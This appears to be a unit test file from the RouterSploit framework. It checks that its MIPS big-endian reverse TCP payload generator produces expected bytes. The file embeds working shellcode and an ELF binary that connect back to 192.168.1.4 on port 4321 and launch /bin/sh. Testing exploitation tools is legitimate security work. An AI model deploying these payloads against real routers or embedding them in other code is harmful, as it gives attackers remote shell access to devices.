from routersploit.modules.payloads.mipsbe.reverse_tcp import Payload


# mipsbe reverse tcp with lhost=192.168.1.4  lport=4321
reverse_tcp = (
    b"\x28\x04\xff\xff\x24\x02\x0f\xa6\x01\x09\x09\x0c\x28\x04\x11"
    b"\x11\x24\x02\x0f\xa6\x01\x09\x09\x0c\x24\x0c\xff\xfd\x01\x80"
    b"\x20\x27\x24\x02\x0f\xa6\x01\x09\x09\x0c\x24\x0c\xff\xfd\x01"
    b"\x80\x20\x27\x01\x80\x28\x27\x28\x06\xff\xff\x24\x02\x10\x57"
    b"\x01\x09\x09\x0c\x30\x44\xff\xff\x24\x02\x0f\xc9\x01\x09\x09"
    b"\x0c\x24\x02\x0f\xc9\x01\x09\x09\x0c\x3c\x05\x00\x02\x34\xa5"
    b"\x10\xe1\xaf\xa5\xff\xf8\x3c\x05\xc0\xa8\x34\xa5\x01\x04\xaf"
    b"\xa5\xff\xfc\x23\xa5\xff\xf8\x24\x0c\xff\xef\x01\x80\x30\x27"
    b"\x24\x02\x10\x4a\x01\x09\x09\x0c\x3c\x08\x2f\x2f\x35\x08\x62"
    b"\x69\xaf\xa8\xff\xec\x3c\x08\x6e\x2f\x35\x08\x73\x68\xaf\xa8"
    b"\xff\xf0\x28\x07\xff\xff\xaf\xa7\xff\xf4\xaf\xa7\xff\xfc\x23"
    b"\xa4\xff\xec\x23\xa8\xff\xec\xaf\xa8\xff\xf8\x23\xa5\xff\xf8"
    b"\x27\xbd\xff\xec\x28\x06\xff\xff\x24\x02\x0f\xab\x00\x90\x93"
    b"\x4c"
)

# elf mipsbe reverse tcp
elf_mipsbe_reverse_tcp = (
    b"\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00"
    b"\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x00\x54\x00\x00"
    b"\x00\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00"
    b"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00"
    b"\x00\x40\x00\x00\x00\x40\x00\x00\x00\x00\x01\x18\x00\x00\x01"
    b"\xdc\x00\x00\x00\x07\x00\x00\x10\x00\x28\x04\xff\xff\x24\x02"
    b"\x0f\xa6\x01\x09\x09\x0c\x28\x04\x11\x11\x24\x02\x0f\xa6\x01"
    b"\x09\x09\x0c\x24\x0c\xff\xfd\x01\x80\x20\x27\x24\x02\x0f\xa6"
    b"\x01\x09\x09\x0c\x24\x0c\xff\xfd\x01\x80\x20\x27\x01\x80\x28"
    b"\x27\x28\x06\xff\xff\x24\x02\x10\x57\x01\x09\x09\x0c\x30\x44"
    b"\xff\xff\x24\x02\x0f\xc9\x01\x09\x09\x0c\x24\x02\x0f\xc9\x01"
    b"\x09\x09\x0c\x3c\x05\x00\x02\x34\xa5\x10\xe1\xaf\xa5\xff\xf8"
    b"\x3c\x05\xc0\xa8\x34\xa5\x01\x04\xaf\xa5\xff\xfc\x23\xa5\xff"
    b"\xf8\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x09"
    b"\x09\x0c\x3c\x08\x2f\x2f\x35\x08\x62\x69\xaf\xa8\xff\xec\x3c"
    b"\x08\x6e\x2f\x35\x08\x73\x68\xaf\xa8\xff\xf0\x28\x07\xff\xff"
    b"\xaf\xa7\xff\xf4\xaf\xa7\xff\xfc\x23\xa4\xff\xec\x23\xa8\xff"
    b"\xec\xaf\xa8\xff\xf8\x23\xa5\xff\xf8\x27\xbd\xff\xec\x28\x06"
    b"\xff\xff\x24\x02\x0f\xab\x00\x90\x93\x4c"
)


def test_payload_generation():
    """ Test scenario - payload generation """

    payload = Payload()
    payload.lhost = "192.168.1.4"
    payload.lport = 4321

    assert payload.generate() == reverse_tcp
    assert payload.generate_elf(reverse_tcp) == elf_mipsbe_reverse_tcp
